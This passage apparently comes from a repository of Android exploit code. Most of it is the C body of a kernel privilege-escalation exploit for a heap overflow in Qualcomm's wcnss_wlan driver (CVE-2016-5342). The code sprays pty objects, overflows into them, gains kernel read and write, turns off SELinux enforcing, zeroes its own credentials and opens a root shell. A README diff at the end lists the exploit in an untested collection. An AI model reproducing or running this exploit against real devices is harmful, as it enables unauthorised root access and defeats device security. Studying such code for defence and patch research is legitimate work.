if (*slave == -1) {
close(*master);
return -1;
}
return 0;
}
char *name = "freener_pwn0";
int main() {
pid_t self;
self = getpid();
prctl( PR_SET_NAME, (unsigned long)name, 0, 0, 0 );
printf( "[+] Exploit Test Begain\n" );
printf( "[+] Spray Kmalloc-1024 Slab\n" );
int i;
int ptm_fds[ONEOFF_ALLOCS];
int pts_fds[ONEOFF_ALLOCS];
for (i = 0; i < ONEOFF_ALLOCS; ++i) {
if (openpty(&ptm_fds[i], &pts_fds[i], NULL) == -1) {
puts("[-] pty creation failed");
return 1;
}
}
int fd_wlan;
fd_wlan = open( "/dev/wcnss_wlan", O_RDWR | O_NOCTTY );
if ( fd_wlan < 0 ) {
printf( "[-] Can not open /dev/wcnss_wlan\n" );
return -1;
}
char *buffer1 = NULL;
int message1_len = 1024 + 28 ;
buffer1 = (char *)malloc( message1_len );
if ( buffer1 == NULL ) {
printf("[-] Failed to create message\n" );
return -1;
}
memset( buffer1, 0, message1_len );
unsigned int kernelAddress;
kernelAddress = PHYS_OFFSET + 760 * 1024 * 1024 - PAGE_SIZE;
int length = 1024;
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length ) = TTY_MAGIC;
*(unsigned int *)(buffer1 + length + 4) = 0xDEADBEEF;
*(unsigned int *)(buffer1 + length + 8) = kernelAddress;
*(unsigned int *)(buffer1 + length + 12) = kernelAddress;
*(unsigned int *)(buffer1 + length + 16) = kernelAddress;
*(unsigned int *)(buffer1 + length + 1024 ) = TTY_MAGIC;
*(unsigned int *)(buffer1 + length + 1024 + 4) = 0x1337;
*(unsigned int *)(buffer1 + length + 1024 + 8) = kernelAddress;
*(unsigned int *)(buffer1 + length + 1024 + 12) = kernelAddress;
*(unsigned int *)(buffer1 + length + 1024 + 16) = kernelAddress;
printf( "[+] Ret2dir Spray ...\n" );
int j;
length = (size_t)PAGE_SIZE * 256 * 800;
mmap_base = mmap( NULL, length, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0 );
if ( mmap_base == MAP_FAILED ) {
printf( "[-] MMAP Failed\n" );
perror( "[-]" );
return -1;
}
ready_operation( ROP_READ );
printf( "[+] Release one object in slab\n" );
close( ptm_fds[UNLUCKLY_ONE] );
close( pts_fds[UNLUCKLY_ONE] );
printf( "[+] Bang!!! Overflow!!!\n" );
int count = 0;
count = write( fd_wlan, buffer1, message1_len + 4 );
printf( "[+] Try to get the control\n" );
unsigned int value;
if ( (value = ioctl( ptm_fds[UNLUCKLY_ONE+1], 0xdeadbeef, kernelAddress + 50*4 )) == ROP_READ ) {
printf( "[+] OverWrite Success ptm\n" );
effect_fd = ptm_fds[UNLUCKLY_ONE + 1];
}
else if ( (value=ioctl( pts_fds[UNLUCKLY_ONE+1], 0xdeadbeef, kernelAddress + 50*4)) == ROP_READ ){
printf( "[+] OverWrite Success pts\n" );
effect_fd = pts_fds[UNLUCKLY_ONE + 1];
}
if ( effect_fd == 0 ) {
printf( "[+] OverWrite Failed\n" );
return -1;
}
unsigned int selinux;
selinux = kernel_read( 0xBBBBBBBB, SELINUX_ENFORCING ); //ioctl( effect_fd, 0xBBBBBBBB, SELINUX_ENFORCING );
printf( "[+] SELINUX = %d\n", selinux );
/**
* Find MySelf
*/
unsigned int task = 0;
task = kernel_read( 0x10000001, (INIT_TASK_ADDRESS + TASK_OFFSET) );
unsigned int cred = 0;
unsigned int magic = 0;
unsigned int magic1 = 0;
unsigned int comm_address = 0;
char comm_name[17] = { 0 };
unsigned int comm_part_one = 0, comm_part_two = 0, comm_part_three = 0;
do {
//printf( "[+] TASK Address : %x\n", task );
comm_address = task - TASK_OFFSET + COMM_OFFSET;
//printf( "[+] Comm Address : %x\n", comm_address );
comm_part_one = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET );
comm_part_two = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET + 4 );
comm_part_three = kernel_read( 0x20000002, task - TASK_OFFSET + COMM_OFFSET +8 );
(*(unsigned int *)comm_name) = comm_part_one;
(*(unsigned int *)(comm_name+4)) = comm_part_two;
(*(unsigned int *)(comm_name+8)) = comm_part_three;
//printf( "[+] Command line : %s\n", comm_name );
if ( comm_part_one == 0x65657266 &&
comm_part_two == 0x5F72656E &&
comm_part_three == 0x306E7770 ) {
cred = kernel_read( 0x30000003, task - TASK_OFFSET + CRED_OFFSET );
printf( "[+] CRED address : %x\n", cred );
magic = kernel_read( 0x40000004, cred + 12 );
break;
}
task = kernel_read( 0x20000002, task - TASK_OFFSET + TASK_OFFSET );
} while ( task != (INIT_TASK_ADDRESS + TASK_OFFSET) );
if ( task == INIT_TASK_ADDRESS ) {
printf( "[-] Do not find myself\n" );
}
if ( cred == 0 ) {
printf( "[-] Do not get CRED address\n" );
return -1;
}
if ( magic != 0x43736564 || magic != 0x44656144 ) {
magic = 4;
}
else {
magic = 16;
}
printf( "[+] Change to ROP_WRITE\n" );
ready_operation( ROP_WRITE );
printf( "[+] Close Selinux\n" );
kernel_write( SELINUX_ENFORCING, 0x0 );
printf( "[+] Modify CRED\n" );
for ( i=0; i<17; i++ ) {
if ( i < 8 ) {
kernel_write( cred + magic + i*4, 0x0 );
}
else if ( i == 8 ) {
continue;
}
else {
kernel_write( cred + magic + i*4, 0xFFFFFFFF );
}
}
if ( getuid() == 0 ) {
printf( "[+] Root Success\n" );
execl( "/system/bin/sh", "/system/bin/sh", NULL );
return 1;
}
printf( "[+] Failed \n" );
return 0;
}

View File

@@ -11,6 +11,7 @@ Android 漏洞利用代码集合,**均未测试**
### 高通 - Qualcomm
* [CVE-2016-2431 - The Qualcomm TrustZone component in Android before 2016-05-01 on Nexus 5, Nexus 6, Nexus 7 (2013), and Android One devices allows attackers to gain privileges via a crafted application, aka internal bug 24968809](qualcomm/CVE-2016-2431)
* [CVE-2016-5342 - Heap-based buffer overflow in the wcnss_wlan_write function](qualcomm/CVE-2016-5342)
### 华为 - Huawei